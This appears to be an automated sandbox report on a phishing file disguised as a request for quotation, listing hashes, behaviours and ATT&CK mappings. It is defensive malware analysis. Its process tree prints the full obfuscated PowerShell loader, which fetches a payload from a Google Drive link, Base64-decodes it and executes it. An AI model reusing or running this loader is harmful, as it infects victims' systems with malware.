ba89646f6eb6932bf276be6cf18c4016b77125d92b4b267803aa772343450a05

General

Target

RequestforQuotationMKFMHSRFQ241104.vbe
Size

20KB
MD5

31d811df772fa5ae86e5c61318d70c22
SHA1

7165e59afddb29ea81e7a76f51fce84ae474159c
SHA256

ba89646f6eb6932bf276be6cf18c4016b77125d92b4b267803aa772343450a05
SHA512

a84a08ba0490d17d79661bb22185cbf38fb23940761daa1160fc9a68cf545927155150c2d0da56c017908e4e05e1692d40d2bef90792493717ec81967656ff15
SSDEEP

384:cRA+D/E36lIsIStz9287oSFYqc+lOq4ssHRymb7483wxEOjyFPfSg3lDWoIK:cRpD/4KI1Stz92EoSFYqc2Oq4sskmb7X

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2520	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2520	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2500 wrote to memory of 2520	2500	WScript.exe	30
PID 2500 wrote to memory of 2520	2500	WScript.exe	30
PID 2500 wrote to memory of 2520	2500	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RequestforQuotationMKFMHSRFQ241104.vbe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Unrefilled Produktionstekniskes Smallnesses Sammensuriummet surg Phytoptus #>;$Postsystolicntervaller='Skatkammerbeviser';<#Stridsksen Dus Tepid Skjulestedet #>; function Taxonom($Theanthropy){If ($host.DebuggerEnabled) {$Hippie++;}$Engregge=$Skolelrerinden+$Theanthropy.'Length' - $Hippie; for ( $Postsystolic=5;$Postsystolic -lt $Engregge;$Postsystolic+=6){$Ammonical=$Postsystolic;$Ablepharon+=$Theanthropy[$Postsystolic];}$Ablepharon;}function Annekteres($Alarmens){ . ($Zinkkografi) ($Alarmens);}$Relievenature=Taxonom 'pea,eMTobinoDesynzRealliAgleal KernlasfalaSkyn /Ros n ';$resoaks=Taxonom 'PahivTA vinl utcrsbrdsk1 dski2Osteo ';$Erythemal5='Freel[ TeksnTyveneGyratTDecon.An insUnloceVrdifrEvakuVRef.rIAirbrcAlpeneKal,bp ndvOUbesvi ,ontn BronTInterMEcstaaNdri,nJetbeADiktiGFluoreVagthRSicel]Beads:i nen:Sv deS Ap ie Altac Fleru.usmaR ir.diBull,tLej.iYD,plePBastirOpmrkOAnselT,ymaroWithdc FjelOSiph.lPheno=Fu,le$QuadwrAnkecE PletSGo gloAmfita gestkOrt osSquir ';$Relievenature+=Taxonom ' xaci5 Std..myrme0Unw,l Schen(Ove.eWGenneiCertinBlo ddSabbaolithow Eri stari TimbeN uteoTAfloe telei1Ferni0V.nil.Maane0unvis; Es.i EntiWTeno iPacifn rubo6 .ali4 Hind;Ann l C ncixTvrbj6Infeo4 por; Preg AutorKattevScrip:fagbg1Overs3 Was.1Subli.La.ts0Pertu) Unco PattiGEosineNontrcHabilkRekomoSpind/Begri2Bre e0Ki st1Kvi r0Burdi0 Carr1fljt.0soco 1Spage m.nneF Pleui DiamrudstaeDurasf TazeoS mulx tabs/Lemon1Inacc3stoc,1Bokse.Progr0Rejse ';$Voksenuddannelses=Taxonom ' Deteu Congs inglE.uccurAdels- S.ieaDumosgmllehEDump NHushet uint ';$Weddings=Taxonom 'SquamhFirbetApolitOptrkplapnisum in:T rea/ art/ LucidSlemmrVridniIndi vUndtaeindst. alpegMaaneoAntiso Und.gS utmlBrande Folk. torecAnalloArit mSe io/AlleguAmmetcRevet?spermeRomdixNonhopBnkevoeudorrCollettra,d=Oversd R stoLo.ocwR satn nfelsy sto Ca.aaPhotodAfsta&St aiiPreded B,st= Fac 1AandfgBa.bumB ntuZBrokeQAfstuS BalleUhyggMK ndsYMetalmBigg FMuskefBlystKBesk.AReage4MaanelBortdvAnteceRunab0ImmusJ NonnK TettwTw lvaSkem 0Kla r6KinesSSkrmaK roillTimepkLooc.7 KunsXSelvrhProviU ajen ';$Krudtkarlene=Taxonom 'Dei.i>Metal ';$Zinkkografi=Taxonom ' SkriiBrende Pr mXrdder ';$Underbetalende='Aerogenic';$Strikkepinde='\Stiftmosaikgulvs.Tha';Annekteres (Taxonom ' onan$CompuGOvergLFysiooNonspBL cenaEvideLGluil: FootB uayuRDi scAUdre sL zarsS.ubba entaRInexpTkloakS Math= ,lad$ReferE onclNM untv ndt:SkattASho gPDisbuPRappodNaertaWamblT RensAMisbr+Under$BrebrSU iveT SemirPe oti fglaktiggeK BalsEDyppeP B adiRet pNBesyndAegype alab ');Annekteres (Taxonom ' entj$ Coa,gNordsLDise oLegemBDermaARe itLBeva.:SpavikUtilfA DoseDKompoa izasV ElskeTele,rRugmeNClubmEFormisDyspn=Entom$ FlocW.uskeE StyrdMicr,d ref i Nol n CensGPhysiS.ntri.MausosWammuPBetallMut.vIJebliTArgle(Stoma$Fa tiKPalimr FiloU nded OxwoTLabsaKEmbroaTomatr L,quLNarkoE eismN CuriESyste)Skala ');Annekteres (Taxonom $Erythemal5);$Weddings=$kadavernes[0];$Gnallingerne=(Taxonom 'M rgi$ StokGFovillUnd,rO MisvBBortkAHo.byl M.ro:SkrddAMarkenk elitD menIKonfehHym,neGipssL lgerTShoal=flaucN Fo,veAccidwTar,s-Skri OPirueBBioceJRe aveRaa,uCNollkTchimi Skoles Alesy ehydS Ku sT NonrEUnde.m Adre.p,troNCoc wEUnblitMfind.JetalWud ytEObsk bHowbecSloshLBohemiSkovhE EttoN DrapTRoski ');Annekteres ($Gnallingerne);Annekteres (Taxonom '.rave$Di.eraH lvtnNihiltC itii DigehSpe ueApocrl BugltBe th.DisenHKollieMentaaSamled phyte TrucrBhstusEnsil[.dblo$.alkaVCrednoFlittkRavagsLuminePolitn ResuuBo did CrotdAxopoaIrensnMystinMenueeAnti.lHarshsFogareN ncusOver ]t lbl=Forep$ArgotRBageeeZer.mlSlavii rcheTro kvKompoeSwe rnAffekaSmiddth peruSels,rcrepee Clit ');$Tilbygget=Taxonom 'M rtk$TyrenadirefnNons tPseudiBroadhKal yeBtteslMyzostBass,.DichoD,ndero H,elwSvrvgnBaarel hemoPrep.a ediadSanatFCacomi MonolT knieErnae(D tai$ HrfrW R,cheStrafd Illad InmaiBrazenDistegOverfsUnlid,savac$Roll TUi.dtu.ttrin TitinTilkreFormfrCurs )Vedr. ';$Tunner=$Brassarts;Annekteres (Taxonom 'Udbok$MestegSti.lL St,rOSenegBFrkenAErhveL hamp:SwaggtOpslaiAc,inL,arnelEn,obe ShovTPludd=Shily(ReproTGjor,E SawnS VendtAr ou-LangsPbr ndaDel.ntWhenshUsmid Engli$ G.spt VedbUH,potnBraciN.ilimEEksprr Sig )Endos ');while (!$Tillet) {Annekteres (Taxonom 'Bloed$Frisrg orrlHerskoBe pob overaOmpr.lBasti:Sy.teFKul.eiOutp,lLinoltPocheeUnlucrPostbvAntieiAbnegrSrgelk Ska,nMiddeiKl ssnKro lgUnwe,=Akupu$,gnottFo asrKordeuElgkae Upbe ') ;Annekteres $Tilbygget;Annekteres (Taxonom ' TopoSK.ibltDenatamenneR,mpactBis t-PrejuS Pre,LVidebeEuc le EbbeP,kkel Gigan4Summ ');Annekteres (Taxonom 'Dysae$EnsilGVedliLBurunOnavigBConvoAStroplBryst: espoTIneraiNitrol HusblShogsENegerTPerfe= Mili(ForegtDebate VidesPartiTB itz-Unmi pNoninAPotastSgeorHRestr Joist$F,ngot Pr,muLa.kbnOv rsnHeksaEForm Rhavsn)L fer ') ;Annekteres (Taxonom 'Dal a$AnamngLasteLRedivOErfarbLegemAVoldtLSbesk: SgneSThreat NymauAndrim ConfT RundjFdevae ,yponDiviaeOpelsRplatasTeks =Spide$OntolgNoncoLGuttuO UndebPe.soaFil pLAirpl:Fr,mbQKa teU .arfiGuiccasev,nnGalacgT meraHjlpeNOpp.r+Post +Int r%Inter$PhagekSlampA El kdAlaniaVand,VThorhe Unt.RCor dn ChufeEr vesOplag.pse lcDjendOIndkou rhi nInstrt lung ') ;$Weddings=$kadavernes[$Stumtjeners];}$Dolourously=327001;$Rogerts=31383;Annekteres (Taxonom 'Depre$At megUmennLFribooSc.enBUf,edaHaditLPizza: MachRParriEaromaHsoldeoDevilN .lufESelfl Kr,sa=hofdi fterg CichE SlvstWurst-ByworcSkibsoNonexnvarmet utomeCl rknMrkhuTsh ww Reu i$ThyroTElectuvampeN op eN eghoEDicieR Ruda ');Annekteres (Taxonom 'Flexe$SapfugLastvldiagno FejlbDema,a AnaclD ode:Fe tpKAs,araU.imprsupersRyglne Krlt Kedel=Bioph w,edi[C kelSUdlugyStortsstnket R,nbec bermBurgl. uinC SammoFreshn Dis.v Viseeklimar Unmit Stor]Spill:Knibe:OkkerFAxiolrVentio Ateim InteBJaponaSutursu alieAarri6Du.if4ExcreSP,emot BlodrHude,iFejlrnIhukogHeste(Disgr$Bra hREmfase Kredhse.icoCurarnOddsmeAndro) Berr ');Annekteres (Taxonom 'Halor$S lesgPar.iLLangfoSimiobDiscraSermoLKnitt:IlmardBird DConstsTvrmapRandaaUnaudTCelloR ranaUve,tilGroutj iree N,nsRIntesNSen,geUnfle Fordr=M.tel tilt.[ P agSTimbrYcellessprngtUnimpeCraspmMicr,.NoneftStreneRes rxH,ndltHurtl.RevisEVerbeN audicTympaoUnsoodInassiD lenN StavgBed r] Pand:Pool :R cenA .lsesNowelCSte.dIcu baiAnt r.Sp ldGGlde e verbtDgnbeSRisenTUkendrAadseIAbre.NEgnengFoolm( ,nft$ .oruKSt reaFraf.rBlackS utweIndby)Utilf ');Annekteres (Taxonom 'Exobi$Mil iG Jo.dLFejlroVandpbFulguAflovsLkateg:BallarOv,reiAftersPi eapS.rigABrugsPsp leiFdrelR unbiE Desit.akrisBeglo=Hyleg$AntisDPlissdStenfsMellePBaudeAK appt KontRStamfuKrjholMedaljSnackEbogonRstrudnSaalbEDyfle.Misc sMicrou AttabHentysFisketSubderAnti iM sdeNReg,sGLysre(T ans$HornidStrego nderLPec ioElvilU Cen.rr,ktiolervau S tcS FisklT lslYG ngn,R.fru$Ph neRVejkaOSlagtgWillieFort r Til TOversSP eda)H mle ');Annekteres $rispapirets;"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2520-4-0x000007FEF61CE000-0x000007FEF61CF000-memory.dmp

Filesize
4KB

Download
memory/2520-5-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2520-7-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2520-6-0x0000000002910000-0x0000000002918000-memory.dmp

Filesize
32KB

Download
memory/2520-8-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2520-9-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2520-10-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2520-11-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2520-12-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2520-13-0x000007FEF61CE000-0x000007FEF61CF000-memory.dmp

Filesize
4KB

Download
memory/2520-14-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2520-15-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2520-16-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2520-17-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing